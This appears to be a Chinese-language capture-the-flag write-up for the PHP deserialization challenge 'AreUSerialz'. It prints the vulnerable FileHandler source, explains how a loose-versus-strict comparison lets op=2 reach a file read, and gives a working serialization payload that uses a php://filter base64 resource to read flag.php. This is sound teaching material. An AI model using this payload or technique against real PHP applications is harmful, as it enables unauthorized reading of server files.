[青龙组]AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
跟着流程分析,首先通过GET的方式获取字符串,经过检验后进行反序列化
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
检验函数验证字符的ASCII值在32到125之间
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
接着看反序列化后发生了什么,由于没有发生构造,所以不触发构造的魔术方法,最终是析构的魔术方法
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
如果
op==="2"
,则将op
转为1。注意这里是强等于。再看一下
process()
函数:public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
根据op的值不同分别触发3个方法,其中
op=="1"
为写文件,op=="2"
为读文件,其他报错。这里用的是弱等于,再加上用的是数字,其实考点就很明显。private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
read()
函数用了file_get_contents()
读取文件,这里可以用php伪协议读取flag。生成反序列化字符串。
<?php
class FileHandler {
protected $op = 2;
protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
protected $content = "";
}
echo serialize(new FileHandler());
file_put_contents('exp.txt',serialize(new FileHandler()));
这里由于做了字符的ASCII限制,所以不能直接传入%00。
利用PHP7.1+的特性,对序列化类型不敏感,改成public生成序列化对象传参即可。
Last modified 8mo ago